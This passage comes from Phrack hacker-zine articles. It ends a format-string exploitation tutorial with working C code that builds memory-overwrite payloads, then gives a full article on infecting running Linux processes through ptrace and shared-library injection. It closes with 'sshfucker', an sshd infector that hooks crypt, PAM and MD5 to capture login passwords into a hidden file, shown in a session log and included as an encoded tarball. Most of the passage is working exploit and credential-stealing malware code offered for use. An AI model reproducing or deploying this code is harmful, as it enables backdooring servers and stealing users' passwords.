'%.65406u'+ # we want to write 0xdd6e (65406 = 0x1dd6e-0xddf0) '%6$hn' + # Write where argument 6 is pointing # (assuming arg 6 is Frame A's ebp) step 3: +----------+ | V [ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C The new Frame B points to the MSB of the Frame C's ebp. And now, with another direct parameter access, we build the MSB of the address that we were looking for. # step 3 '%.593u' + # we want to write 0xdfbf (593 = 0xdfbf - 0xdd6e) '%14$n' + # Write where argument 14 is pointing # (arg 14 is Frame B's ebp) our result: +----------+ | V [ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| dfbf] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C As you can see, we have our pointer in Frame C's ebp, now we could use it to write 2 bytes anywhere in memory. This won't be enough normally to make an exploit, but we could use the same trick, USING THESE 3 STACK FRAMES AGAIN, to build another pointer (and another, and another...) Hey, we've found a pointer generator :-) with only 3 stack frames. Got the theory? let's put all this together in an example. The following code will use 3 frames (A,B,C) and multiple parameters access to write the value 0xaabbccdd to the address 0xdfbfddf0. It was tested on an OpenBSD 3.0, and can be tried on other systems. We'll show you here how to tune it to your box. /* fs2.c * * demo program to show format strings techinques * * specially crafted to feed your brain by gera@corest.com */ do_printf(char *msg) { printf(msg); } #define FrameC 0xdfbfdd6c #define counter(x) ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a) char *write_two_bytes( unsigned long where, unsigned short what, int restoreFrameB) { static char buf[1000]={0}; // enough? sure! :) static int a,b=0; if (restoreFrameB) sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff))); sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff)); sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2)); sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10)); sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what)); return buf; } int main() { char *buf; buf = write_two_bytes(0xdfbfddf0,0xccdd,0); buf = write_two_bytes(0xdfbfddf2,0xaabb,1); do_printf(buf); } The values you'll need to change are: %6$ number of parameter for Frame A's ebp %14$ number of parameter for Frame B's ebp %29$ number of parameter for Frame C's ebp 0xdfbfdd6c address of Frame C's ebp To get the right values: gera@vaiolent> cc -o fs fs.c gera@vaiolent> gdb fs (gdb) br do_printf (gdb) r (gdb) disp/i $pc (gdb) ni (gdb) p "run until you get to the first call in do_printf" (gdb) ni 1: x/i $eip 0x17a4 : call 0x208c <_DYNAMIC+140> (gdb) bt #0 0x17a4 in do_printf () #1 0x1968 in main () (gdb) x/40x $sp 0xdfbfdcf8: 0x000020d4 0xdfbfdd70 0xdfbfdd00 0x0000195f 0xdfbfdd08: 0xdfbfddf2 0x0000aabb [0xdfbfdd30]--+ (0x00001968) 0xdfbfdd18: 0x000020d4 0x0000ccdd 0x00000000 | 0x00001937 0xdfbfdd28: 0x00000000 0x00000000 +-[0xdfbfdd6c]<-+ 0x0000109c 0xdfbfdd38: 0x00000001 0xdfbfdd74 | 0xdfbfdd7c 0x00002000 0xdfbfdd48: 0x0000002f 0x00000000 | 0x00000000 0xdfbfdff0 0xdfbfdd58: 0x00000000 0x0005a0c8 | 0x00000000 0x00000000 0xdfbfdd68: 0x00002000 [0x00000000]<-+ 0x00000001 0xdfbfddd4 0xdfbfdd78: 0x00000000 0xdfbfddeb 0xdfbfde04 0xdfbfde0f 0xdfbfdd88: 0xdfbfde50 0xdfbfde66 0xdfbfde7e 0xdfbfde9e Ok, time to start getting the right values. First, 0x1968 (from previous 'bt' command) is where do_printf() will return after finishing, locate it in the stack (in this example it's at 0xdfbfdd14). The previous word is where Frame A starts, and is where Frame A's ebp is saved, here it's 0xdfbfdd30. Great! now we need the direct parameter access number for it, so, as we executed up to the call, the first word in the stack is the first argument for printf(), numbered 0. If you count, starting from 0, up to Frame A's ebp, you'll count 6 words, that's the number we want. Now, locate where Frame A's ebp is pointing to, that's Frame B's ebp, here 0xdfbfdd6c. Count again, you'll get 14, 2nd value needed. Cool, now Frame B's saved ebp is ponting to Frame C's ebp, so, we already have another value: 0xdfbfdd6c. And to get the last number needed, you need to count again, until you get to Frame C's ebp (count until you get to the address 0xdfbfdd6c), you should get 29. Now edit your fs.c, compile it, gdb it, and run past the call (one more 'ni'), you should see a lot of zeros and then: (gdb) x/x 0xdfbfddf0 0xdfbfddf0: 0xaabbccdd Apparently it does work after all :-) There are some interesting variants. In this example, printf() is not called from main(), but from do_printf(). This is an artifact so we had 3 frames to play with. If the printf() is directly in main(), you will not have three frames, but you could do just the same using argv and *argv, as the only real things you need are a pointer in the stack, pointing to another pointer in the stack pointing somewhere in the stack. Another interesting method (probably even more interesting than the original), is to target not a function pointer but a return address in stack. This method will be a lot shorter (just 2 %hn per short to write, and only 2 frames needed), a lot of addresses could be bruteforced at the same time, and of course, you could use a jumpcode if you want. This time We'll leave the experimentation with this two variantes (and others) to the reader. It is noteworthy, that with this technique in i386, Frame B breaks the chain of the stack frames, so if the program you're exploiting needs to use Frame C, it's probably that it will segfault, hence you'll need to hook the execution flow before the crash. --[ 10. conclusions --[ 10.1. is it dangerous to overwrite the l0 (on the stack frame) ? This is not perfect, but practice shows that you will not have many problems in changing the value of l0. But, would you be unlucky, you may prefer to modify the l0's that belongs to main()'s and _start()'s stack frames. --[ 10.2. is it dangerous to overwrite the ebp (on the stack frame) ? Yes, it's very dangerous. Probably your program will crash. But as we saw, you can restore the original ebp value using the pointer generator :-) And as in the SPARC case, you may prefer to modify the ebp's that belongs to the main(), _start(), etc, stack frames. --[ 10.3. is this reliable ? If you know the state of the stack, or if you know the sizes of the stack frames, it is reliable. Otherwise, unless the situation lets you implement some smooth way of bruteforcing all the numbers needed, this technique won't help you much. I think when you have to overwrite values that are located in addresses that have zeros, this may be your only hope, since, you won't be able to put a zero in your format string (because it will truncate your string). Also in SPARC, the binaries' PLT are located in low addresses and it is more reliable to overwrite the binary's PLT than the libc's PLT. Why is this so? Because, I would guess, in Solaris libc changes more frequently than the binary that you want to exploit. And probably, the binary you want to exploit will never change! --[ The End --[ 11. more greets and thanks gera: riq, for trying every stupid idea I have and making it real! juliano, for being our format strings guru. Impact, for forcing me to spend time thinking about all theese amazing things. last minute addition: I just learned of the existence of a library called fmtgen, Copyrighted by fish stiqz. It's a format string construction library, and it can be used (as suggested in its Readme), to write jumpcodes or even shellcodes as well as addresses. This are the last lines I'm adding to the article, I wish I had a little more time, to study it, but we are in a hurry, you know :-) riq: gera, for finding out how to exploit the heap based format strings in i386, for his ideas, suggestions and fixes. juliano, for letting me know that I can overwrite, as may times as I want an address using 'direct access', and other tips about format strings. javier, for helping me in SPARC. bombi, for trying her best to correct my English. and bruce, for correcting my English, too. --[ 12. references [1] Exploiting Format String Vulnerability, scut's. March 2001. http://www.team-teso.net/articles/formatstring [2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team. January 1999. http://www.w00w00.org/articles.html [3] Juliano's badc0ded http://community.corest.com/~juliano [4] Google the oracle. http://www.google.com |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x08 of 0x12 |=--------------------=[ Runtime Process Infection ]=--------------------=| |=-----------------------------------------------------------------------=| |=---------------=[ anonymous ]=--------------=| --[ Contents 1 - Introduction 2 - ptrace() - Linux debugging API 3 - resolving symbols 4 - plain asm code injection - old fashioned way 5 - .so injection - easy way 6 - A brief note about shared lib redirection 7 - Conclusion 8 - References A - Appendix - sshfucker: runtime sshd infector --[ 1 - Introduction The purpose of this article is to introduce a couple of methods for infecting binaries on runtime, and even though there are many other possible areas of use for this technique, we will mainly focus on a bit more evil things, such as backdooring binaries. However, this is not supposed to be ELF tutorial nor guide to linking. The reader is assumed to be somewhat familiar with ELF. Also, this article is strictly x86 linux specified, even though the same techniques and methods could be easily ported to other platforms as well. --[ 2 - ptrace() - Linux debugging API Linux offers one simple function for playing with processes, and it can do pretty much everything we need to do. We will not take a more indepth look at ptrace() here, since its quite simple and pretty much all we need to know can be found on the man page. However we will introduce a couple of helper functions to make working with ptrace() easier. /* attach to pid */ void ptrace_attach(int pid) { if((ptrace(PTRACE_ATTACH , pid , NULL , NULL)) < 0) { perror("ptrace_attach"); exit(-1); } waitpid(pid , NULL , WUNTRACED); } /* continue execution */ void ptrace_cont(int pid) { if((ptrace(PTRACE_CONT , pid , NULL , NULL)) < 0) { perror("ptrace_cont"); exit(-1); } while (!WIFSTOPPED(s)) waitpid(pid , &s , WNOHANG); } /* detach process */ void ptrace_detach(int pid) { if(ptrace(PTRACE_DETACH, pid , NULL , NULL) < 0) { perror("ptrace_detach"); exit(-1); } } /* read data from location addr */ void * read_data(int pid ,unsigned long addr ,void *vptr ,int len) { int i , count; long word; unsigned long *ptr = (unsigned long *) vptr; count = i = 0; while (count < len) { word = ptrace(PTRACE_PEEKTEXT ,pid ,addr+count, \ NULL); count += 4; ptr[i++] = word; } } /* write data to location addr */ void write_data(int pid ,unsigned long addr ,void *vptr,int len) { int i , count; long word; i = count = 0; while (count < len) { memcpy(&word , vptr+count , sizeof(word)); word = ptrace(PTRACE_POKETEXT, pid , \ addr+count , word); count +=4; } } --[ 3 - resolving symbols As long as we are planning any kind of function intercepting/modifying, we need ways to locate some certain functions in the binary. For now we are gonna use link-map for that. link_map is dynamic linkers internal structure with which it keeps track of loaded libraries and symbols within libraries. Basicly link-map is a linked list, each item on list having a pointer to loaded library. Just like dynamic linker does when it needs to find symbol, we can travel this list back and forth, go through each library on the list to find our symbol. the link-map can be found on the second entry of GOT (global offset table) of each object file. It is no problem for us to read link-map node address from the GOT[1] and start following linkmap nodes until the symbol we wanted has been found. from link.h: struct link_map { ElfW(Addr) l_addr; /* Base address shared object is loaded */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ struct link_map *l_next, *l_prev; /* Chain of loaded objects.*/ }; The structure is quite self-explaining, but here is a short explanation of all items anyway: l_addr: Base address where shared object is loaded. This value can also be found from /proc//maps l_name: pointer to library name in string table l_ld: pointer to dynamic (DT_*) sections of shared lib l_next: pointer to next link_map node l_prev: pointer to previous link_map node The idea for symbol resolving with the link_map struct is simple. We traverse throu link_map list, comparing each l_name item until the library where our symbol is supposed to reside is found. Then we move to l_ld struct and traverse throu dynamic sections until DT_SYMTAB and DT_STRTAB have been found, and finally we can seek our symbol from DT_SYMTAB. This can be quite slow, but should be fine for our example. Using HASH table for symbol lookup would be faster and preferred, but that is left as exercise for the reader ;D. Let's look at some of the functions making life more easy with the link_map. The below code is based on grugq's code on his ml post[1], altered to use ptrace() for resolving in another process address space: /* locate link-map in pid's memory */ struct link_map * locate_linkmap(int pid) { Elf32_Ehdr *ehdr = malloc(sizeof(Elf32_Ehdr)); Elf32_Phdr *phdr = malloc(sizeof(Elf32_Phdr)); Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn)); Elf32_Word got; struct link_map *l = malloc(sizeof(struct link_map)); unsigned long phdr_addr , dyn_addr , map_addr; /* first we check from elf header, mapped at 0x08048000, the offset * to the program header table from where we try to locate * PT_DYNAMIC section. */ read_data(pid , 0x08048000 , ehdr , sizeof(Elf32_Ehdr)); phdr_addr = 0x08048000 + ehdr->e_phoff; printf("program header at %p\n", phdr_addr); read_data(pid , phdr_addr, phdr , sizeof(Elf32_Phdr)); while ( phdr->p_type != PT_DYNAMIC ) { read_data(pid, phdr_addr += sizeof(Elf32_Phdr), phdr, \ sizeof(Elf32_Phdr)); } /* now go through dynamic section until we find address of the GOT */ read_data(pid, phdr->p_vaddr, dyn, sizeof(Elf32_Dyn)); dyn_addr = phdr->p_vaddr; while ( dyn->d_tag != DT_PLTGOT ) { read_data(pid, dyn_addr += sizeof(Elf32_Dyn), dyn,\ sizeof(Elf32_Dyn)); } got = (Elf32_Word) dyn->d_un.d_ptr; got += 4; /* second GOT entry, remember? */ /* now just read first link_map item and return it */ read_data(pid, (unsigned long) got, &map_addr , 4); read_data(pid , map_addr, l , sizeof(struct link_map)); free(phdr); free(ehdr); free(dyn); return l; } /* search locations of DT_SYMTAB and DT_STRTAB and save them into global * variables, also save the nchains from hash table. */ unsigned long symtab; unsigned long strtab; int nchains; void resolv_tables(int pid , struct link_map *map) { Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn)); unsigned long addr; addr = (unsigned long) map->l_ld; read_data(pid , addr, dyn, sizeof(Elf32_Dyn)); while ( dyn->d_tag ) { switch ( dyn->d_tag ) { case DT_HASH: read_data(pid,dyn->d_un.d_ptr +\ map->l_addr+4,\ &nchains , sizeof(nchains)); break; case DT_STRTAB: strtab = dyn->d_un.d_ptr; break; case DT_SYMTAB: symtab = dyn->d_un.d_ptr; break; default: break; } addr += sizeof(Elf32_Dyn); read_data(pid, addr , dyn , sizeof(Elf32_Dyn)); } free(dyn); } /* find symbol in DT_SYMTAB */ unsigned long find_sym_in_tables(int pid, struct link_map *map , char *sym_name) { Elf32_Sym *sym = malloc(sizeof(Elf32_Sym)); char *str; int i; i = 0; while (i < nchains) { read_data(pid, symtab+(i*sizeof(Elf32_Sym)), sym, sizeof(Elf32_Sym)); i++; if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC) continue; /* read symbol name from the string table */ str = read_str(pid, strtab + sym->st_name); if(strncmp(str , sym_name , strlen(sym_name)) == 0) return(map->l_addr+sym->st_value); } /* no symbol found, return 0 */ return 0; } We use nchains (number of items in chain array) stored from DT_HASH to check how many symbols each lib has so we know where to stop reading in case the wanted symbol is not found. --[ 4 - plain asm code injection - old fashioned way We are gonna skip this part because of lack of time and interest. Simple pure-asm code injectors have been around for quite sometime already, and techniq is probably already clear, since it just really is poking opcodes into process memory, overwriting old data, allocating space with sbrk() or finding space otherwhere for own code. However, there is another method with which you do not have to worry about finding space for your code (atleast when playing with dynamically linked binaries) and we are coming to it next. --[ 5 - .so injection - easy way Instead of injecting pure asm code we could force the process to load our shared library and let the runtime dynamic linker to do all dirty work for us. Benefits of this is the simplicity, we can write the whole .so with pure C and call external symbols. libdl offers a programming interface to dynamic linking loader, but a quick look to libdl sources show us that dlopen() , dlsym() and dlclose() are quite much just wrapper functions with some extra error checking, while the real functions are residing in libc. here's the prototype to _dl_open() from glibc-2.2.4/elf/dl-open.c: void * internal_function _dl_open (const char *file, int mode, const void *caller); Parameters are pretty much the same as in dlopen(), having only one 'extra' parameter *caller, which is pointer to calling routine and its not really important to us and we can safely ignore it. We will not need other dl* functions now either. So, we know which function we can be used to load our shared library, and now we could write a small asm code snippet which calls _dl_open() and loads our lib and thats exactly what we are gonna do. One thing to remember is that _dl_open() is defined as an 'internal_function', which means the function parameters are passed in slightly different way, via registers instead of stack. See the parameters order here: EAX = const char *file ECX = const void *caller (we set it to NULL) EDX = int mode (RTLD_LAZY) Asset with this information, we will introduce our tiny .so loader code: _start: jmp string begin: pop eax ; char *file xor ecx ,ecx ; *caller mov edx ,0x1 ; int mode mov ebx, 0x12345678 ; addr of _dl_open() call ebx ; call _dl_open! add esp, 0x4 int3 ; breakpoint string: call begin db "/tmp/ourlibby.so",0x00 With good'old aleph1-style trick we make our loader position independent (well it actually does not have to be, since we can place it anywhere we want to). We also place int3 after 'call' so process stops execution there and we can overwrite our loader with backed up, orginal code again. _dl_open() address is not known yet, but we can easily patch it into code afterwards. A cleaner way would be getting the registers with ptrace(pid, PTRACE_GETREGS,...) and write the parameters to user_regs_struct structure, store libpath string in the stack and inject plain int 0x80 and int3, but it is really just a matter of taste and lazyness how you do this. About .so injection, this obviously will not work with staticly compiled binaries since static binaries do not even have dynamic linker loaded. For such binaries one has to think of something else, maybe plain-asm code injection or something. Another disadvantage of injecting shared objects is that it can be easily noticed by peeking into /proc//maps. Though one can use lkm's / kmem patching to hide them, or maybe infecting existing already loaded libs with new symbols and then forcing to reload them. However, if anyone has good ideas how to solve these problems, I would like to hear about them. --[ 6 - A brief note about shared lib redirection For runtime infection, function redirection is prolly the most obvious thing to do. Like Silvio Cesare showed us on his paper [2], PLT (Procedure Linkage Table) is prolly the cleanest and easiest way to do this. Getting our hands on executable's PLT via the linkmap is easy, the very first node of the link_map list has pointers to executables dynamic sections, and from there we can look for DT_SYMTAB section (just as we do with all objects), executables DT_SYMTAB entries are in fact part of the PLT. Redirection is done by placing jumps into the corresponding function entries on the PLT, to our functions in .so what we loaded. --[ 7 - Conclusion Runtime infection is a quite interesting technique indeed. It does not only pass pax, openwall and other such kernel patches, but tripwire and other file integrity checkers as well. As a demonstration of runtime infection abilities I have included little sshd-infector at the end of this article. It is capable of snooping crypt(), PAM and md5 passwords of users logged via sshd. See Appendix A. --[ 8 - References [1] More elf buggery, bugtraq post, by grugq http://online.securityfocus.com/archive/1/274283/2002-07-10/2002-07-16/2 [2] Shared lib redirection by Silvio Cesare http://www.big.net.au/~silvio/lib-redirection.txt Subversive Dynamic Linking, by grugq http://online.securityfocus.com/data/library/subversiveld.pdf Shaun Clowes's Blackhat 2001 presentation slides http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt Tool Interface Standard (TIS) Executable and Linking Format Specification http://x86.ddj.com/ftp/manuals/tools/elf.pdf ptrace(2) man page http://www.die.net/doc/linux/man/man2/ptrace.2.html --[ Appendix A - sshfucker: runtime sshd infector sshf typescript: root@:/tmp> tar zxvf sshf.tgz sshf/ sshf/sshf.c sshf/evilsshd.c sshf/Makefile.in sshf/config.h.in sshf/configure root@:/tmp> cd sshf root@:/tmp/sshf> ./configure ; make checking for gcc... gcc checking for C compiler default output... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for executable suffix... checking for object suffix... o checking whether we are using the GNU C compiler... yes checking whether gcc accepts -g... yes checking for pam_start in -lpam... yes checking for MD5_Update in -lcrypto... yes configure: creating ./config.status config.status: creating Makefile config.status: creating config.h gcc -w -fPIC -shared -o evilsshd.so evilsshd.c -lcrypt -lcrypto -lpam -DHAVE_CONFIG_H gcc -w -o sshf sshf.c root@:/tmp/sshf> ps auwx | grep sshd root 9597 0.0 0.3 2840 1312 ? S 03:04 0:00 sshd root@:/tmp/sshf> root@:/tmp/sshf> ./sshf 9597 /tmp/sshf/evilsshd.so attached to pid 9597 _dl_open at 0x4023014c stopped 9597 at 0x402017ee jam! if it jams here, try to telnet into sshd port or smthing lib injection done! org crypt() at 0x804b860, evil crypt at 0x40265d60 org getspnam at 0x804afa0, evil getspnam at 0x40265e0c org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84 org MD5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec all done, now quiting... root@:/tmp/sshf> root@:/tmp/sshf> ssh -l luser 127.0.0.1 luser@127.0.0.1's password: [luser@localhost:~>ls -al /tmp/.sshd_passwordz -rw-r--r-- 1 root root 104 Jul 14 03:27 /tmp/.sshd_passwordz [luser@localhost:~>exit Enjoy. begin 644 sshf.tgz M'XL("(G",#T"`W-S:&8N=&%R`.P\^UO;R*[]U?XKAA1*`B$DX=$6-MRE(:6< MY74AW9Z>TILU]B1Q<6ROQP;2+?_[E33C9QS:\]WMGN_;6[=)[!E)(VDDC>9A MA!@/UY]\WZO9W&P^W]J"WV:SM;F9^U77$P!H;<*_UO.-)\U6\WFK^81M/?D+ MKDB$1L#8DW#LW3P.QP/QY&]W">Q__&J8WZ__6\WF=J'?T_YO;S2;SU7_;VPW M-Z"\U6ZVMI^PYH_^_^[7^@K3V0H#"[#6AI%YPX,&"R(WM"><"IGM#KD9>D&= M^480,F_(X,"3;TH8*8W\:.0!\QSV=`.@%3`A#?A`.:.D!*_Y2Z;>%#C&B*<-EB?"`0F M@Y\A0',K,HW0]ES#87X4^)[@`J@Y`(KXIV?]W@Z[X!,^N89F0H^-[%O.!L/( M<08@2#C&LH;PD`,C&-U^:']$$=9U_:GMFDYDK',8?'@PT?6T1ECE:M[ M?GUUW]JHL/P%I@;7IXF//ZTM3=-`WQ)AZT41.$7P/4)8XL9]%F6C=75OOBQO MXQXLA%#,^SI^9="NC:O[)J`VF_&GDJ!-O%O\66S>MP#-RJ&!1,]?`*/;T/(F M2-'5OS5&':3@._*P01J;!%QL@'C34W*S,X!B6 MI1K0(>LCH$&U]]RPL9R;#B>.Y($]-):%SO%DO#@$I! M*9KF`L^V*W9U_=:S+5UZ\\`(0\,<5P&"^;95T__0-7M8K`%U4JNO4IM=RX"O[?#ZEH+ M(+0'7=$F<'`/60%\CTW#`O#MRCU"5R=<].^X]+I6D%_I$\ M?:?"63^].S-_NGA+.L6+^N+/,L' M/>R*,I[GLBS)EC"MFF=ZP`UK8!FA$;<--'.6A-X80"&!K]P"X2P$(CG<3;1M M0Z7IP?@*K1`VVCW7^>]WB_]WC^QFY5@*,HJT5"*FS5%V<)JAVW.U@'Y#_;J*KJ\%"NNR.CS M+K!#_OT5"I7`1:RF1U2D:9`CF/ZT^HQT5"<52QW`@[`_^Q%L;:=K6UM%ZLWLM7MS=0/`VY!HF8F\4-Q-@R\B;H-O2R+ ML5#Q0+#:`F$`)&TP8PE2;4@+?F*,5/UQ24W&!1UB=V2&&J8X@XGALQ7=\2`; MY`,L@8)LF(A;ZSG#C?:@-[8")2Z7MQTV@9'.,ZNJK12NEN%5EIZGV/YCV.>E MV`=3-U:U)6_+L0%N%OD=VAU=(R],*Z4F6*H)1Y87*1?@LO3SO@=.#,P/E`L" MG_$M8-$M>I*NP0`,>;L(V1T':^4P!:#.@RR4C3DF@Q+#![)&",,ZC.J;+V"N M!\7><`BV`::@:Y"H^X$W"HQ)C`5#,O@HT;H;G M^R='73`Q$V<`#20$X[Z6AFII3[EFJ;L3B\KWLJZE0G>R:*N$MK;'!_X8^-XM M:23!E+?%)F)3T)+X0V!K>_X`YP9LH9.52`:D7!.9%C#JSA*7`/.:?8#$#3P& M.\SU[L!X8"H6>-%HC'UK3&PSUB+#.9^#^A[:KD4AC`N!<[S#LWZ)?NN)'+=2 M>J!78$(9,HB>V%$GCY4)RXB_MF<-0F.$2CGH#\Z/^]ATJ4X2@D658)N/\?*` M[(`+X>B:>E8M;CUR&]9`C;$(1>,8T:I/:=;&B'*=SM@'Q/9$;EF>""5'#<_3_%LV*\47:@:\I`BAJ`1M?V MG(%CEUE=5-B!.*2\G0 M,S6?2+A2SS*%T+1K('B#[*6-7?8O^ONO9'-R:@*JF#'*##*F$!GT]RF(X6;*[;Z=HPX+QJ$05XE#F.3*]!X,>3P>Q` M3J68:;;:+SZF9D7TY"I*H49EC&AC"0WNJF%27H"0PI<9&09ZRD,Q:]Q-"5U_ MYH%7E:UDX*'(QR9150*>*_$)"+ZE",1"NJD(HRSJ,#<>4RWY_\/KM:;?&<*9JNQ%7N()F6XDIQHI#+UIE,1E2 M%`F%,T_JT(F/OXPXI/JT*Q/50CX-RJCI%$:P(ZN94+$:$[\UG(A3Q'J(QQ(D M>NTY;`C3!JL>6X%<&(D?`.%!>\P<'/LZXUGY7D\*`(@L0*7525ZMH;'4H7[@ M!_PV,TFEB18%&HHIT@R`"E+]T-[:_HB"2/-!,T"3Z[!"BH[I.87]>'$`X9\] MBP.IR^_#4E.9,SP@/(V#CPY_FA2%S#I!4T;PC>V`B!`%I*Q)6^I9CCG8?;C` M;4#ZJBIP"=P.Y=HXK4O0ZA::+.J>9>PIH0PWB3$A$%EPL\8H5!?L-S^`$_LH M,=;*7BB)$#%4:KQQG([C#?;N`]%G8&-@1?H$')C,R0A&9FP]M'K^,9F/2TNC M>*L,BK&<027E&JYB#P(^$@,%"/>?,VBX+`VR%E='8-AR/)^#<7LE==[`#*8^ MVH*\*8,8\5#X"$$W91"^,1%$@V[F0!@QA%$*,;&VZAH`P&]9-4AI3I``W60A M5%B]-LR;"#T'+::D7JZZI_6TC,>JV#<0;C?4>A<,&N&P6HF$,>([;$FPGZ"' M]G!_X!JW0?:NW`J.<=B)S8]EBW=@G*CMJMHEJ;.SP<7!V>GQ^^RJFFJ%%M=V M*'A%D%T-P;.!?AE5-),.S`T]6Q)N?:1H`!6YM5<9)1+ZLA14`/-!I+!D`7E: M=:GM:C)PJFGBP'(&Q'8-?$VJIKI030VGX!08)\DC*C$B:J6R#N7X,1N56JU$ MU`5<87(L=SF4LZ9,JPMLIUJ=(WS*YI#?L6'DT@Q,P)37!JW!%.S.<%V#C>U/ MN+F&L>*1$#K?^_78&;X6`2H$1:PJY_@J!D%!U%!(Y"9?10*H`>ZVABF6\6U8 MN*$(\RX;Y5?(X%9?13TYV!J\]:T4B7SMJV@J&%?0J+34^N+>Q26-)9\L+S4H MTC?N9A@XK\@8`J6/0`!7,,AA:6T+.S5>(HLWT%9;K1F*)_PLK@X M_PRCI_+)U-Y2[D7HT7K,DI7AGX1&Q`:W_42$@-/@A=NCBF>:JF+6G$P(8J9K MF"+)84I%B!JMQ*K89,KT$5'K3#*DUEL5"(P_BE)]AC12RD&O%B'66G'PPLA4 MX$/F%R"0BJ0XN,NUI4605LJ4!-E)RNAJR20[U5)=D8OG`K@Q1JW0>F96:=#E M:4/YUUZ&1Y M+E]043*_TZ."&V`*AW._VHHYQU468TB'!Z*`$3DA=4CL8BR4<97?VDXFN.[M MU&1/E(TPR61K4AHQT^%A,I4`E=3N,E.U26GTS&$G@;,J8.],?ZG$R/P/QHYTSI, MXMD-=CR:J$QSXJ$-IPSR-C\^>\&(43&&8(QW=6D0$BN-@,5\D8PN2R3NL!R5 M?*$BE$\KY5P@V38AS94V5@29(2,7+:70TCY(:+J=%3HQD(+@27F.YWRB.R-\ MT5A*:&:KBZ0-W`!3-EE+)BMY<HX01`<277#8IBE317!,G3>-`S`SH>T,#X6:>0 M^'MDAWB"J-$H1/Y\/$V#:681`<@^^7']_[SH_"<:,281W^D,Z./G/YN;FYL; M\?E?>-S"\Y_;SYL_SG_^-><_Y7G+V``86X-4SS*$B--*6W@N+EKC642$]:-K MQS;9+:@#$JN28Z%N>BP4X1U.QT)I&0SW?6-,UFRTL/XZO*,C94#E&6XFNPMT M$),]?A*3QL]O/G`Y>\*12CWSAI>5U(XXPDIN`V?==O]^OG)DA.> MI<=)DW.6^<9MSY0D=?VIQ2&MXMKQV>'KH^.>IE76PXF_WL`.@Q%2"#QS\KF" M9UF'`,K>[/]*![I>'QT.WJ1D*S`I&-K`4D5_REW+'L8(&B$<'[TZWS_)+R[C MB#^6"V]S4+H7[\_[9RF6&..\!-/%H6.,Y(IP'I454&FE,4D0J\`DC/UJZ;I% MIWTR!6VUXS0(&9T)TG.+\PA>66PM8I:YH5;BL[RT=M/US@Q67;3K;BUS""V7 M\%;EP20SO(]YD04X:2KN7B4GE2!1B=N5*0JNE4ZF0TMF!G@'_-"2@>I5ABMM MW8O>?O_+V6#__+QW>@`W[RYPZ:W.,)[*`TDX8:L2?EU.XY)Y,#Z!%)1UY<`J MV`59+>G M+5&&O2Q(A;,[KFISCUU'0]K0`0E6_'B;KT3=ZD!@^?_Y\8-QPW M:QJV^Q_(_YOM[T6YO_/MY[_R/__BJO;!>_[N=O]68?(=8GW^/NS M_OIX_Q`?U^[8VO#\J,O6!+@SM_2#WFL"P]^?==UPG)WL]$&^2JAKB]5NM\86 MJT2GQM:\%$AX680U1R[)+5:Q841!RK68`K9/*]S#F/2/Q8H_W?_CBK_-W]/PKX]WO_>^[[_^V- MC>96._7_[3:M_[4W?OC_7^+_"VS]VG;7Q5A_R@XC//-/AQ'E:]9B*D(^6;,X MI.<63(*@+K#IO`2=93<#CIL> M4GB-QR/I3?`Z.W)-Y(#>%4],F@DSL"&_P!?'$5,HS%T&T[JYQ(`,OC$N6.0Z M]L1&<7P>3&Q!*Y>A!_1]F,%9-B[K74>X\P/ZF'@P%9PR.VSH0&"?IK]2=[B` M&OF`VH4LRC!Q^_K"<$>H,D/`_'#@\!`*16?9N#8A^H[&]J<;9^)Z_N^!"*/; MN_OIYV4%>MSK]WL7EYWE_5==R)4.WQS]XY?CD].S\_^^N.R__?7=/]__*P%5 M5!=SC2SFZ"A0RQ[9(;3?C%]B?AD3,1PWFL0DCG,D)!(*>PD:XO<^OC2B-(1G ME@QU;)EY>$[!0-,"E<1&1',V4D`8#,2X4Q%`9+JTLKKD^TN[8NG#_PP6,RQ\ M7!HLC2K_;F/=\_-<.Z;O)PWEU;)TGE?,HRR\XNR5!S-&+L]ZAC;(H^-?.N`P MI5]S667QCW]=OAG\"G2.SDY7!0\?*KA+6>63R$&G$>,:VUNW^.VZ&SD.:^\] M:Y%)NC`Y3F'@`<]2=$\..CLZ=_(-O-HO;0%?KX*$?3^_C2R4/K11IE.< M0GM#<@Q^S\V(CD:1XB:\\QLWQQXTVZRP+ZB_95%OK'RXNEK_6*\O_Z:C\-@G MH/@=MGQ5-:YJRW,;!XH(V\$O$$OP3-G0P&?D*)C`W(,\>7%1_32`K_@60XY. M3.UE2X`/QX7I2A8L)M).&4IX><7F.3[Z]H]YG@^AW\(_#\_-=!NXMCR.0 MZHT:OM)Y(Q@>W!7RCU2,,.;9)A&CN`@P-L@<<#PRJPS1'CL$$8EE-8`OE"D.XY;PE`^-FXQ M)$WI[*T@%-"OXP[`PTV?K?G+:&92\9DJ4AQ6@?K)VJ#@&]48TW#<3(?F&@2: MW]*C.AE";'T#\%:E">GZ4G6XS@X&?`=MHPD+FPP5E]E?GYUUX+.K(."V]I@9 M$E2'OC-\R]+4$L$WCB^9&]G"@%Z$H+T8`['C_=-#]N6+["YP2GQ6SKC0(2^# MRC\(K-/=11=!]O%QESUDZ70'^\?'.4I44D:+*K+4J&"&7O_HI%<@B$7E%+$F 